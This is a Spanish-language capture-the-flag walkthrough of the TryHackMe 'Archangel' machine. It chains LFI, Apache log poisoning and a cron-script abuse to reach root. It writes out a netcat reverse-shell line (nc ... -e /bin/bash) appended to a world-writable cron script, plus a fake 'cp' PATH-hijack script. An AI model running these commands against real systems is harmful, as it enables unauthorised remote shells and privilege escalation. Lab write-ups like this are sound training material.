XUT_ / MACHINES / THM

0040

Archangel

THMMACHINENONEEASY

Introduction

archangel

Una máquina boot2root de explotación web con LFI y escalada de privilegios. Una compañía de soluciones de seguridad parece haber estado haciendo algunas pruebas en su máquina en producción, hora de explotarlo.

Getting the Flags

Reconocimiento Inicial

Comenzamos analizando los puertos abiertos de la máquina.

archangel

Ahora sobre los puertos abiertos vamos a hacer más pruebas.

archangel

Vamos a listar directorios web ahora.

archangel

Vamos a ver cómo es la web.

archangel

Ahora vamos a ver cómo son las páginas que hemos encontrado.

La página de flags.html nos redirige a un vídeo de RickRoll y la de gallery.html sólo tiene imágenes placeholder. Vamos a seguir investigando la página.

Si investigamos podemos encontrar un formulario para dejar mensajes.

archangel

Después de un rato buscando y no ver nada decidí escanear la red de la máquina en busca de hosts activos, y allí fue donde encontré esto:

archangel


Profundización

Vamos pues a escanear los puertos que tiene abiertos más a fondo.

archangel

Vamos a listar directorios web de esta segunda máquina.

archangel

Vamos a ver qué hay en la web.

archangel

Si miramos el código fuente:

archangel

Parece interesante.

Vamos a seguir buscando porque nos piden un nombre de host diferente y todavía no lo hemos encontrado.

archangel

Parece que hemos encontrado el dominio, vamos a registrarlo en /etc/hosts y a ver qué hay.

archangel

Parece que acabamos de obtener la primera flag. Vamos ahora a listar directorios de esta web.

archangel

Vamos a ver qué hay en dichas páginas.

archangel

Vamos a ver qué hace el botón.

archangel


Explotación

Después de probar muchos payloads y que ninguno funcionara busqué cómo hacer LFI en PHP y encontré lo siguiente:

archangel

Vamos a probarlo.

archangel

Nos ha cargado una cadena en base64, vamos a decodearla:

archangel

Así encontramos la segunda flag. Nos fijamos en que no todo está protegido en la LFI, por lo que vamos a guardarnos esta lista y a probar fuzzeando.

archangel

Vamos a probar con uno de los que aparentemente han funcionado.

archangel

CAUTION: Si no funciona /var/log/apache2/access.log pero otros archivos como /etc/passwd o /var/log/apache2/error.log sí funcionan, reinicia la máquina, estuve aquí atascado muchas horas.

Visto esto, vamos a intentar hacer un poison del log mediante el header User-Agent. Vamos a abrir Burp Suite y a capturar una petición.

archangel

Y ahora vamos a cambiar el User-Agent por una reverse shell.

archangel

La mandamos y nos ponemos en escucha.

archangel

Y al cargar el log:

archangel

Recibimos la shell:

archangel

Procedemos a estabilizarla.

archangel

Vamos a buscar la flag.

archangel

Si intentamos mirar las carpetas del directorio home de archangel, no nos deja.

archangel

Habrá que pivotar hacia archangel. Después de un poco buscando encuentro que hay un script que se ejecuta cada minuto.

archangel

Vamos a ver de qué se trata.

archangel

Permisos 777 en un archivo que se ejecuta con cron como un usuario en específico (nuestra gallina de los huevos de oro). Vamos a modificarlo y a esperar. Pondremos lo siguiente:

bash
#!/bin/bash
echo "nc 192.168.196.119 8888 -e /bin/bash" >> /opt/helloworld.sh #Sustituye tu IP y puerto

Nos ponemos en escucha:

archangel

Cambiamos el archivo:

archangel

Y esperamos a que nos llegue:


Escalada de Privilegios

Vamos a ver lo que contiene su directorio home (después de estabilizarla, claro).

archangel

Parece que hay un backup de la contraseña y un binario SUID. Vamos a investigar.

archangel

Es un vídeo de RickRoll. Vamos a ver la flag del segundo usuario.

archangel

Vamos a intentar escalar a root. Vamos a ver qué hace el SUID.

archangel

Aquí podemos ver un comando que parece no estar escrito con ruta absoluta: cp. Vamos a ver si el PATH es escribible.

archangel

Hemos conseguido meter una ruta escribible por nosotros al principio del PATH, por lo que si estábamos en lo cierto, ahora el script buscará cp en esa ruta primero. Vamos a escribir un archivo llamado cp con el siguiente contenido:

bash
#!/bin/bash
/bin/bash

archangel

Perfecto, ahora ejecutamos el binario.

archangel

Y con esto hemos obtenido la shell, vamos a ver si encontramos la flag de root.


Conclusión

Una máquina divertida que nos ayuda a ver cómo convertir un LFI a RCE mediante log poisoning. Hemos trabajado:

  • Enumeración
  • LFI
  • Log poisoning
  • Escalada de privilegios horizontal
  • Escalada de privilegios vertical